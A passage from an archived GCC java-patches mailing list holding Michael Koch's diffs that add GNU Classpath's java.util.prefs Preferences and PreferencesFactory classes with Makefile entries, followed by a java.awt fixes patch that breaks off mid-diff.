+exception statement from your version. */ + +package java.util.prefs; + +import java.io.InputStream; +import java.io.OutputStream; +import java.io.IOException; + +import java.security.AccessController; +import java.security.Permission; +import java.security.PrivilegedAction; + +import gnu.java.util.prefs.*; + +/** + * Preference node containing key value entries and subnodes. + *

+ * There are two preference node trees, a system tree which can be accessed + * by calling systemRoot() containing system preferences usefull + * for all users, and a user tree that can be accessed by calling + * userRoot() containing preferences that can differ between + * different users. How different users are identified is implementation + * depended. It can be determined by Thread, Access Control Context or Subject. + *

+ * This implementation uses the "java.util.prefs.PreferencesFactory" system + * property to find a class that implement PreferencesFactory + * and initialized that class (if it has a public no arguments contructor) + * to get at the actual system or user root. If the system property is not set, + * or the class cannot be initialized it uses the default implementation + * gnu.java.util.prefs.FileBasedFactory. + *

+ * Besides the two static method above to get the roots of the system and user + * preference node trees there are also two convenience methods to access the + * default preference node for a particular package an object is in. These are + * userNodeForPackage() and systemNodeForPackage(). + * Both methods take an Object as an argument so accessing preferences values + * can be as easy as calling Preferences.userNodeForPackage(this). + *

+ * Note that if a security manager is installed all static methods check for + * RuntimePermission("preferences"). But if this permission is + * given to the code then it can access and change all (user) preference nodes + * and entries. So you should be carefull not to store to sensitive information + * or make security decissions based on preference values since there is no + * more fine grained control over what preference values can be changed once + * code has been given the correct runtime permission. + *

+ * XXX + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public abstract class Preferences { + + // Static Fields + + /** + * Default PreferencesFactory class used when the system property + * "java.util.prefs.PreferencesFactory" is not set. + *

+ * XXX - Currently set to MemoryBasedPreferencesFactory, should be changed + * when FileBasedPreferences backend works. + */ + private static final String defaultFactoryClass + = "gnu.java.util.prefs.MemoryBasedPreferencesFactory"; + + /** Permission needed to access system or user root. */ + private static final Permission prefsPermission + = new RuntimePermission("preferences"); + + /** + * The preferences factory object that supplies the system and user root. + * Set and returned by the getFactory() method. + */ + private static PreferencesFactory factory; + + /** Maximum node name length. 80 characters. */ + public static final int MAX_NAME_LENGTH = 80; + + /** Maximum entry key length. 80 characters. */ + public static final int MAX_KEY_LENGTH = 80; + + /** Maximum entry value length. 8192 characters. */ + public static final int MAX_VALUE_LENGTH = 8192; + + // Constructors + + /** + * Creates a new Preferences node. Can only be used by subclasses. + * Empty implementation. + */ + protected Preferences() {} + + // Static methods + + /** + * Returns the system preferences root node containing usefull preferences + * for all users. It is save to cache this value since it should always + * return the same preference node. + * + * @return the root system preference node + * @exception SecurityException when a security manager is installed and + * the caller does not have RuntimePermission("preferences"). + */ + public static Preferences systemRoot() throws SecurityException { + // Get the preferences factory and check for permission + PreferencesFactory factory = getFactory(); + + return factory.systemRoot(); + } + + /** + * Returns the user preferences root node containing preferences for the + * the current user. How different users are identified is implementation + * depended. It can be determined by Thread, Access Control Context or + * Subject. + * + * @return the root user preference node + * @exception SecurityException when a security manager is installed and + * the caller does not have RuntimePermission("preferences"). + */ + public static Preferences userRoot() throws SecurityException { + // Get the preferences factory and check for permission + PreferencesFactory factory = getFactory(); + return factory.userRoot(); + } + + /** + * Private helper method for systemRoot() and + * userRoot(). Checks security permission and instantiates the + * correct factory if it has not yet been set. + *

+ * When the preferences factory has not yet been set this method first + * tries to get the system propery "java.util.prefs.PreferencesFactory" + * and tries to initializes that class. If the system property is not set + * or initialization fails it returns an instance of the default factory + * gnu.java.util.prefs.FileBasedPreferencesFactory. + * + * @return the preferences factory to use + * @exception SecurityException when a security manager is installed and + * the caller does not have RuntimePermission("preferences"). + */ + private static PreferencesFactory getFactory() throws SecurityException { + + // First check for permission + SecurityManager sm = System.getSecurityManager(); + if (sm != null) { + sm.checkPermission(prefsPermission); + } + + // Get the factory + if (factory == null) { + // Caller might not have enough permissions + factory = (PreferencesFactory) AccessController.doPrivileged( + new PrivilegedAction() { + public Object run() { + PreferencesFactory pf = null; + String className = System.getProperty + ("java.util.prefs.PreferencesFactory"); + if (className != null) { + try { + Class fc = Class.forName(className); + Object o = fc.newInstance(); + pf = (PreferencesFactory) o; + } catch (ClassNotFoundException cnfe) + {/*ignore*/} + catch (InstantiationException ie) + {/*ignore*/} + catch (IllegalAccessException iae) + {/*ignore*/} + catch (ClassCastException cce) + {/*ignore*/} + } + return pf; + } + }); + + // Still no factory? Use our default. + if (factory == null) { + try { + Object o = Class.forName(defaultFactoryClass); + factory = (PreferencesFactory) o; + } catch (ClassNotFoundException cnfe) { + throw new RuntimeException("Couldn't load default factory" + + " '"+ defaultFactoryClass +"'"); + // XXX - when using 1.4 compatible throwables add cause + } + } + + } + return factory; + } + + /** + * Returns the system preferences node for the package of an object. + * The package node name of the object is determined by dropping the + * class name of the object of the fully quallified class name and + * replacing all '.' to '/' in the package name. If the class of the + * object has no package then the package node name is "". + * The returened node is systemRoot().node(packageNodeName). + * + * @param o Object whose default system preference node is requested + * @returns system preferences node that should be used by object o + * @exception SecurityException when a security manager is installed and + * the caller does not have RuntimePermission("preferences"). + */ + public static Preferences systemNodeForPackage(Object o) + throws SecurityException + { + return nodeForPackage(o, systemRoot()); + } + + /** + * Returns the user preferences node for the package of an object. + * The package node name of the object is determined by dropping the + * class name of the object of the fully quallified class name and + * replacing all '.' to '/' in the package name. If the class of the + * object has no package then the package node name is "". + * The returened node is userRoot().node(packageNodeName). + * + * @param o Object whose default user preference node is requested + * @returns user preferences node that should be used by object o + * @exception SecurityException when a security manager is installed and + * the caller does not have RuntimePermission("preferences"). + */ + public static Preferences userNodeForPackage(Object o) + throws SecurityException + { + return nodeForPackage(o, userRoot()); + } + + /** + * Private helper method for systemNodeForPackage() and + * userNodeForPackage(). Given the correct system or user + * root it returns the correct Preference node for the package node name + * of the given object. + */ + private static Preferences nodeForPackage(Object o, Preferences root) { + // Get the package path + String className = o.getClass().getName(); + String packagePath; + int index = className.lastIndexOf('.'); + if(index == -1) { + packagePath = ""; + } else { + packagePath = className.substring(0,index).replace('.','/'); + } + + return root.node(packagePath); + } + + /** + * XXX + */ + public static void importPreferences(InputStream is) + throws InvalidPreferencesFormatException, + IOException + { + PreferencesFactory factory = getFactory(); + NodeReader reader = new NodeReader(is, factory); + reader.importPreferences(); + } + + // abstract methods (identification) + + /** + * Returns the absolute path name of this preference node. + * The absolute path name of a node is the path name of its parent node + * plus a '/' plus its own name. If the node is the root node and has no + * parent then its name is "" and its absolute path name is "/". + */ + abstract public String absolutePath(); + + /** + * Returns true if this node comes from the user preferences tree, false + * if it comes from the system preferences tree. + */ + abstract public boolean isUserNode(); + + /** + * Returns the name of this preferences node. The name of the node cannot + * be null, can be mostly 80 characters and cannot contain any '/' + * characters. The root node has as name "". + */ + abstract public String name(); + + /** + * Returns the String given by + * + * (isUserNode() ? "User":"System") + " Preference Node: " + absolutePath() + * + */ + abstract public String toString(); + + // abstract methods (navigation) + + /** + * Returns all the direct sub nodes of this preferences node. + * Needs access to the backing store to give a meaningfull answer. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException when this node has been removed + */ + abstract public String[] childrenNames() throws BackingStoreException; + + /** + * Returns a sub node of this preferences node if the given path is + * relative (does not start with a '/') or a sub node of the root + * if the path is absolute (does start with a '/'). + * + * @exception IllegalStateException if this node has been removed + * @exception IllegalArgumentException if the path contains two or more + * consecutive '/' characters, ends with a '/' charactor and is not the + * string "/" (indicating the root node) or any name on the path is more + * then 80 characters long + */ + abstract public Preferences node(String path); + + /** + * Returns true if the node that the path points to exists in memory or + * in the backing store. Otherwise it returns false or an exception is + * thrown. When this node is removed the only valid parameter is the + * empty string (indicating this node), the return value in that case + * will be false. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + * and the path is not the empty string (indicating this node) + * @exception IllegalArgumentException if the path contains two or more + * consecutive '/' characters, ends with a '/' charactor and is not the + * string "/" (indicating the root node) or any name on the path is more + * then 80 characters long + */ + abstract public boolean nodeExists(String path) + throws BackingStoreException; + + /** + * Returns the parent preferences node of this node or null if this is + * the root of the preferences tree. + * + * @exception IllegalStateException if this node has been removed + */ + abstract public Preferences parent(); + + // abstract methods (export) + + /** + * XXX + */ + abstract public void exportNode(OutputStream os) + throws BackingStoreException, + IOException; + + /** + * XXX + */ + abstract public void exportSubtree(OutputStream os) + throws BackingStoreException, + IOException; + + // abstract methods (preference entry manipulation) + + /** + * Returns an (possibly empty) array with all the keys of the preference + * entries of this node. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + abstract public String[] keys() throws BackingStoreException; + + /** + * Returns the value associated with the key in this preferences node. If + * the default value of the key cannot be found in the preferences node + * entries or something goes wrong with the backing store the supplied + * default value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public String get(String key, String defaultVal); + + /** + * Convenience method for getting the given entry as a boolean. + * When the string representation of the requested entry is either + * "true" or "false" (ignoring case) then that value is returned, + * otherwise the given default boolean value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public boolean getBoolean(String key, boolean defaultVal); + + /** + * Convenience method for getting the given entry as a byte array. + * When the string representation of the requested entry is a valid + * Base64 encoded string (without any other characters, such as newlines) + * then the decoded Base64 string is returned as byte array, + * otherwise the given default byte array value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public byte[] getByteArray(String key, byte[] defaultVal); + + /** + * Convenience method for getting the given entry as a double. + * When the string representation of the requested entry can be decoded + * with Double.parseDouble() then that double is returned, + * otherwise the given default double value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public double getDouble(String key, double defaultVal); + + /** + * Convenience method for getting the given entry as a float. + * When the string representation of the requested entry can be decoded + * with Float.parseFloat() then that float is returned, + * otherwise the given default float value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public float getFloat(String key, float defaultVal); + + /** + * Convenience method for getting the given entry as an integer. + * When the string representation of the requested entry can be decoded + * with Integer.parseInt() then that integer is returned, + * otherwise the given default integer value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public int getInt(String key, int defaultVal); + + /** + * Convenience method for getting the given entry as a long. + * When the string representation of the requested entry can be decoded + * with Long.parseLong() then that long is returned, + * otherwise the given default long value is returned. + * + * @exception IllegalArgumentException if key is larger then 80 characters + * @exception IllegalStateException if this node has been removed + * @exception NullPointerException if key is null + */ + abstract public long getLong(String key, long defaultVal); + + /** + * Sets the value of the given preferences entry for this node. + * Key and value cannot be null, the key cannot exceed 80 characters + * and the value cannot exceed 8192 characters. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + * + * @exception NullPointerException if either key or value are null + * @exception IllegalArgumentException if either key or value are to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void put(String key, String value); + + /** + * Convenience method for setting the given entry as a boolean. + * The boolean is converted with Boolean.toString(value) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putBoolean(String key, boolean value); + + /** + * Convenience method for setting the given entry as an array of bytes. + * The byte array is converted to a Base64 encoded string + * and then stored in the preference entry as that string. + *

+ * Note that a byte array encoded as a Base64 string will be about 1.3 + * times larger then the original length of the byte array, which means + * that the byte array may not be larger about 6 KB. + * + * @exception NullPointerException if either key or value are null + * @exception IllegalArgumentException if either key or value are to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putByteArray(String key, byte[] value); + + /** + * Convenience method for setting the given entry as a double. + * The double is converted with Double.toString(double) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putDouble(String key, double value); + + /** + * Convenience method for setting the given entry as a float. + * The float is converted with Float.toString(float) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putFloat(String key, float value); + + /** + * Convenience method for setting the given entry as an integer. + * The integer is converted with Integer.toString(int) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putInt(String key, int value); + + /** + * Convenience method for setting the given entry as a long. + * The long is converted with Long.toString(long) + * and then stored in the preference entry as that string. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void putLong(String key, long value); + + /** + * Removes the preferences entry from this preferences node. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + * + * @exception NullPointerException if the key is null + * @exception IllegalArgumentException if the key length is to large + * @exception IllegalStateException when this node has been removed + */ + abstract public void remove(String key); + + // abstract methods (preference node manipulation) + + /** + * Removes all entries from this preferences node. May need access to the + * backing store to get and clear all entries. + *

+ * The result will be immediatly visible in this VM, but may not be + * immediatly written to the backing store. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + abstract public void clear() throws BackingStoreException; + + /** + * Writes all preference changes on this and any subnode that have not + * yet been written to the backing store. This has no effect on the + * preference entries in this VM, but it makes sure that all changes + * are visible to other programs (other VMs might need to call the + * sync() method to actually see the changes to the backing + * store. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + abstract public void flush() throws BackingStoreException; + + /** + * Writes and reads all preference changes to and from this and any + * subnodes. This makes sure that all local changes are written to the + * backing store and that all changes to the backing store are visible + * in this preference node (and all subnodes). + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has been removed + */ + abstract public void sync() throws BackingStoreException; + + /** + * Removes this and all subnodes from the backing store and clears all + * entries. After removal this instance will not be useable (except for + * a few methods that don't throw a InvalidStateException), + * even when a new node with the same path name is created this instance + * will not be usable again. The root (system or user) may never be removed. + *

+ * Note that according to the specification an implementation may delay + * removal of the node from the backing store till the flush() + * method is called. But the flush() method may throw a + * IllegalStateException when the node has been removed. + * So most implementations will actually remove the node and any subnodes + * from the backing store immediatly. + * + * @exception BackingStoreException when the backing store cannot be + * reached + * @exception IllegalStateException if this node has already been removed + * @exception UnsupportedOperationException if this is a root node + */ + abstract public void removeNode() throws BackingStoreException; + + // abstract methods (listeners) + + abstract public void addNodeChangeListener(NodeChangeListener listener); + + abstract public void addPreferenceChangeListener + (PreferenceChangeListener listener); + + abstract public void removeNodeChangeListener(NodeChangeListener listener); + + abstract public void removePreferenceChangeListener + (PreferenceChangeListener listener); + +} + --- /home/mkoch/src/gcc-cvs/libjava/java/util/prefs/PreferencesFactory.java 1970-01-01 01:00:00.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/util/prefs/PreferencesFactory.java 2002-01-22 23:27:02.000000000 +0100 @@ -0,0 +1,66 @@ +/* PreferencesFactory - Preferences system and user root factory interface + Copyright (C) 2001 Free Software Foundation, Inc. + +This file is part of GNU Classpath. + +GNU Classpath is free software; you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation; either version 2, or (at your option) +any later version. + +GNU Classpath is distributed in the hope that it will be useful, but +WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +General Public License for more details. + +You should have received a copy of the GNU General Public License +along with GNU Classpath; see the file COPYING. If not, write to the +Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA +02111-1307 USA. + +Linking this library statically or dynamically with other modules is +making a combined work based on this library. Thus, the terms and +conditions of the GNU General Public License cover the whole +combination. + +As a special exception, the copyright holders of this library give you +permission to link this library with independent modules to produce an +executable, regardless of the license terms of these independent +modules, and to copy and distribute the resulting executable under +terms of your choice, provided that you also meet, for each linked +independent module, the terms and conditions of the license of that +module. An independent module is a module which is not derived from +or based on this library. If you modify this library, you may extend +this exception to your version of the library, but you are not +obligated to do so. If you do not wish to do so, delete this +exception statement from your version. */ + +package java.util.prefs; + +import java.util.EventListener; + +/** + * Preferences system and user root factory interface. Defines how to get + * to the system and user root preferences objects. Should be implemented by + * new preferences backends. + * + * @since 1.4 + * @author Mark Wielaard (mark@klomp.org) + */ +public interface PreferencesFactory { + + /** + * Returns the system root preferences node. Should always return the + * same object. + */ + Preferences systemRoot(); + + /** + * Returns the user root preferences node. May return different objects + * depending on the user that called this method. The user may for example + * be determined by the current Thread or the Subject associated with the + * current AccessControllContext. + */ + Preferences userRoot(); + +} --- /home/mkoch/src/gcc-cvs/libjava/Makefile.in 2003-02-12 11:16:33.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/Makefile.in 2003-02-12 11:25:04.000000000 +0100 @@ -1620,6 +1620,15 @@ java/util/TooManyListenersException.java \ java/util/Vector.java \ java/util/WeakHashMap.java \ +java/util/prefs/NodeChangeListener.java \ +java/util/prefs/Preferences.java \ +java/util/prefs/PreferenceChangeListener.java \ +java/util/prefs/NodeChangeEvent.java \ +java/util/prefs/InvalidPreferencesFormatException.java \ +java/util/prefs/AbstractPreferences.java \ +java/util/prefs/BackingStoreException.java \ +java/util/prefs/PreferenceChangeEvent.java \ +java/util/prefs/PreferencesFactory.java \ java/util/regex/Matcher.java \ java/util/regex/Pattern.java \ java/util/regex/PatternSyntaxException.java @@ -1835,6 +1844,11 @@ gnu/java/text/WordBreakIterator.java \ gnu/java/util/DoubleEnumeration.java \ gnu/java/util/EmptyEnumeration.java \ +gnu/java/util/prefs/MemoryBasedFactory.java \ +gnu/java/util/prefs/NodeReader.java \ +gnu/java/util/prefs/MemoryBasedPreferences.java \ +gnu/java/util/prefs/FileBasedFactory.java \ +gnu/java/util/prefs/NodeWriter.java \ java/lang/ref/PhantomReference.java \ java/lang/ref/Reference.java \ java/lang/ref/ReferenceQueue.java \ @@ -2912,7 +2926,12 @@ .deps/gnu/java/text/SentenceBreakIterator.P \ .deps/gnu/java/text/WordBreakIterator.P \ .deps/gnu/java/util/DoubleEnumeration.P \ -.deps/gnu/java/util/EmptyEnumeration.P .deps/interpret.P \ +.deps/gnu/java/util/EmptyEnumeration.P \ +.deps/gnu/java/util/prefs/FileBasedFactory.P \ +.deps/gnu/java/util/prefs/MemoryBasedFactory.P \ +.deps/gnu/java/util/prefs/MemoryBasedPreferences.P \ +.deps/gnu/java/util/prefs/NodeReader.P \ +.deps/gnu/java/util/prefs/NodeWriter.P .deps/interpret.P \ .deps/java/applet/Applet.P .deps/java/applet/AppletContext.P \ .deps/java/applet/AppletStub.P .deps/java/applet/AudioClip.P \ .deps/java/awt/AWTError.P .deps/java/awt/AWTEvent.P \ @@ -3604,6 +3623,15 @@ .deps/java/util/jar/JarInputStream.P \ .deps/java/util/jar/JarOutputStream.P .deps/java/util/jar/Manifest.P \ .deps/java/util/natResourceBundle.P .deps/java/util/natTimeZone.P \ +.deps/java/util/prefs/AbstractPreferences.P \ +.deps/java/util/prefs/BackingStoreException.P \ +.deps/java/util/prefs/InvalidPreferencesFormatException.P \ +.deps/java/util/prefs/NodeChangeEvent.P \ +.deps/java/util/prefs/NodeChangeListener.P \ +.deps/java/util/prefs/PreferenceChangeEvent.P \ +.deps/java/util/prefs/PreferenceChangeListener.P \ +.deps/java/util/prefs/Preferences.P \ +.deps/java/util/prefs/PreferencesFactory.P \ .deps/java/util/regex/Matcher.P .deps/java/util/regex/Pattern.P \ .deps/java/util/regex/PatternSyntaxException.P \ .deps/java/util/zip/Adler32.P .deps/java/util/zip/CRC32.P \ --- /home/mkoch/src/gcc-cvs/libjava/Makefile.am 2003-02-12 11:16:32.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/Makefile.am 2003-02-12 11:24:44.000000000 +0100 @@ -1855,6 +1855,15 @@ java/util/TooManyListenersException.java \ java/util/Vector.java \ java/util/WeakHashMap.java \ +java/util/prefs/NodeChangeListener.java \ +java/util/prefs/Preferences.java \ +java/util/prefs/PreferenceChangeListener.java \ +java/util/prefs/NodeChangeEvent.java \ +java/util/prefs/InvalidPreferencesFormatException.java \ +java/util/prefs/AbstractPreferences.java \ +java/util/prefs/BackingStoreException.java \ +java/util/prefs/PreferenceChangeEvent.java \ +java/util/prefs/PreferencesFactory.java \ java/util/regex/Matcher.java \ java/util/regex/Pattern.java \ java/util/regex/PatternSyntaxException.java @@ -2075,6 +2084,11 @@ gnu/java/text/WordBreakIterator.java \ gnu/java/util/DoubleEnumeration.java \ gnu/java/util/EmptyEnumeration.java \ +gnu/java/util/prefs/MemoryBasedFactory.java \ +gnu/java/util/prefs/NodeReader.java \ +gnu/java/util/prefs/MemoryBasedPreferences.java \ +gnu/java/util/prefs/FileBasedFactory.java \ +gnu/java/util/prefs/NodeWriter.java \ java/lang/ref/PhantomReference.java \ java/lang/ref/Reference.java \ java/lang/ref/ReferenceQueue.java \ --Boundary-00=_KZiS+NPRJnk21lR-- From java-patches-return-6085-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 12 11:21:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3223 invoked by alias); 12 Feb 2003 11:21:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3083 invoked from network); 12 Feb 2003 11:21:21 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by 172.16.49.205 with SMTP; 12 Feb 2003 11:21:21 -0000 Received: from 192.168.1.3 (dynadsl-080-228-69-121.ewetel.net [80.228.69.121]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h1CBL9GH001816 for ; Wed, 12 Feb 2003 12:21:19 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.awt Date: Wed, 12 Feb 2003 11:48:41 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_JaiS+j82YkqOse2" Message-Id: <200302121148.41677.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_JaiS+j82YkqOse2 Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, This patch fixes some glitches in java.awt. Please review and comment. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+SiaJWSOgCCdjSDsRAtphAJ9EFoQo0mKcU18b+gNeWq58nc2bPACeJE8k T7wnuubJykxPgu0QpG0kTrI=3D =3DnnbJ =2D----END PGP SIGNATURE----- --Boundary-00=_JaiS+j82YkqOse2 Content-Type: text/x-diff; charset="iso-8859-15"; name="java-awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java-awt.diff" --- /home/mkoch/src/gcc-cvs/libjava/ChangeLog 2003-02-12 11:16:32.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/ChangeLog 2003-02-12 11:40:25.000000000 +0100 @@ -1,5 +1,22 @@ 2003-02-12 Michael Koch + * java/awt/GridBagConstraints.java + (FIRST_LINE_ENT, FIRST_LINE_START, LAST_LINE_END, LAST_LINE_START, + LINE_END, LINE_START, PAGE_END, PAGE_START): New constants. + * java/awt/KeyboardFocusManager.java + (setGlobalCurrentFocusCycleRoot): Must be public. + * java/awt/MenuComponent.java + (MenuComponent): Must be public. + * java/awt/Polygon.java + (Polygon): Initialize npoints too. + * java/awt/Toolkit.java: + Added some empty lines to make documentation more readable. + (getFontPeer): Added @deprecated. + (getColorModel): Added exception documentation. + (getProperty): Fixed documentation. + +2003-02-12 Michael Koch + * java/nio/channels/Channels.java: New file. * Makefile.am (ordinary_java_source_files): Added java/nio/channels/Channels.java. --- /home/mkoch/src/gcc-cvs/libjava/java/awt/GridBagConstraints.java 2003-01-08 16:49:46.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/awt/GridBagConstraints.java 2003-02-12 10:44:58.000000000 +0100 @@ -80,6 +80,52 @@ /** Occupy all remaining cells. */ public static final int REMAINDER = 0; + /** + * Position to where the first text line would end. Equals to NORTHEAST for + * horizontal left-to-right orientations. + */ + public static final int FIRST_LINE_END = 24; + + /** + * Position to where the first text line would start. Equals to NORTHWEST for + * horizontal left-to-right orientations. + */ + public static final int FIRST_LINE_START = 23; + + /** + * Position to where the last text line would end. Equals to SOUTHEAST for + * horizontal left-to-right orientations. + */ + public static final int LAST_LINE_END = 26; + + /** + * Position to where the last text line would start. Equals to SOUTHWEST for + * horizontal left-to-right orientations. + */ + public static final int LAST_LINE_START = 25; + + /** + * Position to where a text line would end. Equals to EAST for + * left-to-right orientations. + */ + public static final int LINE_END = 22; + + /** + * Position to where a text line would start. Equals to WEST for + * left-to-right orientations. + */ + public static final int LINE_START = 21; + + /** + * Position to where a page ends. Equals SOUTH for horizontal orientations. + */ + public static final int PAGE_END = 20; + + /** + * Position to where a page starts. Equals NORTH for horizontal orientations. + */ + public static final int PAGE_START = 19; + public int anchor; public int fill; public int gridheight; --- /home/mkoch/src/gcc-cvs/libjava/java/awt/KeyboardFocusManager.java 2003-01-08 16:49:46.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/awt/KeyboardFocusManager.java 2003-02-12 08:32:34.000000000 +0100 @@ -386,7 +386,7 @@ return focusCycleRoot; } - protected void setGlobalCurrentFocusCycleRoot(Container cycleRoot) + public void setGlobalCurrentFocusCycleRoot(Container cycleRoot) { firePropertyChange("currentFocusCycleRoot", focusCycleRoot, cycleRoot); focusCycleRoot = cycleRoot; --- /home/mkoch/src/gcc-cvs/libjava/java/awt/MenuComponent.java 2003-01-02 12:38:12.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/awt/MenuComponent.java 2003-02-12 10:11:56.000000000 +0100 @@ -94,8 +94,10 @@ * Default constructor for subclasses. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. + * + * @specnote public since JDK 1.4 */ -protected +public MenuComponent() { if (GraphicsEnvironment.isHeadless()) --- /home/mkoch/src/gcc-cvs/libjava/java/awt/Polygon.java 2003-01-08 16:49:46.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/awt/Polygon.java 2003-02-12 08:33:09.000000000 +0100 @@ -120,6 +120,7 @@ // Leave room for growth. xpoints = new int[4]; ypoints = new int[4]; + npoints = 4; } /** --- /home/mkoch/src/gcc-cvs/libjava/java/awt/Toolkit.java 2003-02-01 14:28:06.000000000 +0100 +++ /home/mkoch/src/gcc-work/libjava/java/awt/Toolkit.java 2003-02-12 08:34:06.000000000 +0100 @@ -134,6 +134,7 @@ * Creates a peer object for the specified TextField. * * @param target The TextField to create the peer for. + * * @return The peer for the specified TextField object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -144,6 +145,7 @@ * Creates a peer object for the specified Label. * * @param target The Label to create the peer for. + * * @return The peer for the specified Label object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -154,6 +156,7 @@ * Creates a peer object for the specified List. * * @param target The List to create the peer for. + * * @return The peer for the specified List object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -164,6 +167,7 @@ * Creates a peer object for the specified Checkbox. * * @param target The Checkbox to create the peer for. + * * @return The peer for the specified Checkbox object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -174,6 +178,7 @@ * Creates a peer object for the specified Scrollbar. * * @param target The Scrollbar to create the peer for. + * * @return The peer for the specified Scrollbar object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -184,6 +189,7 @@ * Creates a peer object for the specified ScrollPane. * * @param target The ScrollPane to create the peer for. + * * @return The peer for the specified ScrollPane object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -194,6 +200,7 @@ * Creates a peer object for the specified TextArea. * * @param target The TextArea to create the peer for. + * * @return The peer for the specified TextArea object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -204,6 +211,7 @@ * Creates a peer object for the specified Choice. * * @param target The Choice to create the peer for. + * * @return The peer for the specified Choice object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -214,6 +222,7 @@ * Creates a peer object for the specified Frame. * * @param target The Frame to create the peer for. + * * @return The peer for the specified Frame object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -224,6 +233,7 @@ * Creates a peer object for the specified Canvas. * * @param target The Canvas to create the peer for. + * * @return The peer for the specified Canvas object. */ protected abstract CanvasPeer createCanvas(Canvas target); @@ -232,6 +242,7 @@ * Creates a peer object for the specified Panel. * * @param target The Panel to create the peer for. + * * @return The peer for the specified Panel object. */ protected abstract PanelPeer createPanel(Panel target); @@ -240,6 +251,7 @@ * Creates a peer object for the specified Window. * * @param target The Window to create the peer for. + * * @return The peer for the specified Window object. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -250,6 +262,7 @@ * Creates a peer object for the specified Dialog. * * @param target The dialog to create the peer for + * * @return The peer for the specified font name. * * @exception HeadlessException If GraphicsEnvironment.isHeadless() is true. @@ -260,6 +273,7 @@ * Creates a peer object for the specified MenuBar. * * @param target The MenuBar to create the peer for. + * * @return The 